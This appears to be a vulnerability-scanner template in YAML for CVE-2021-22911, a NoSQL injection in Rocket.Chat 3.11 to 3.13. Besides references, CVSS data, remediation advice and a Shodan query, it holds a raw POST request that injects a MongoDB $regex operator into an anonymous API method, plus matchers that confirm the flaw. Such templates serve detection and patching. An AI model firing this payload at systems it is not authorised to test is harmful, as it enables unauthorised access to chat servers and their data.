59 lines
2.2 KiB
YAML
59 lines
2.2 KiB
YAML
id: CVE-2021-22911
|
|
|
|
info:
|
|
name: Rocket.Chat <=3.13 - NoSQL Injection
|
|
author: tess,sullo
|
|
severity: critical
|
|
description: Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: |
|
|
Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability.
|
|
reference:
|
|
- http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html
|
|
- https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911
|
|
- https://hackerone.com/reports/1130721
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911
|
|
- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22911
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-22911
|
|
cwe-id: CWE-75,NVD-CWE-Other
|
|
epss-score: 0.94897
|
|
epss-percentile: 0.99082
|
|
cpe: cpe:2.3:a:rocket.chat:rocket.chat:3.11.0:-:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: rocket.chat
|
|
product: rocket.chat
|
|
shodan-query: http.title:"Rocket.Chat"
|
|
tags: rocketchat,nosqli,packetstorm,vulhub,hackerone,cve,cve2021
|
|
|
|
http:
|
|
- raw:
|
|
- |-
|
|
POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^{{randstr}}\"}}] }"}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '[error-invalid-user]'
|
|
- '"success":true'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022045d7c0c749c435e0771f40f73b8b1d3f7cd0278d63f55e4f6e440db71ec2f884022100a6ccba11f27a41592ac4ac212b7d48a21badc4489e8f88dada8ce6edc238c2b8:922c64590222798bb761d5b6d8e72950 |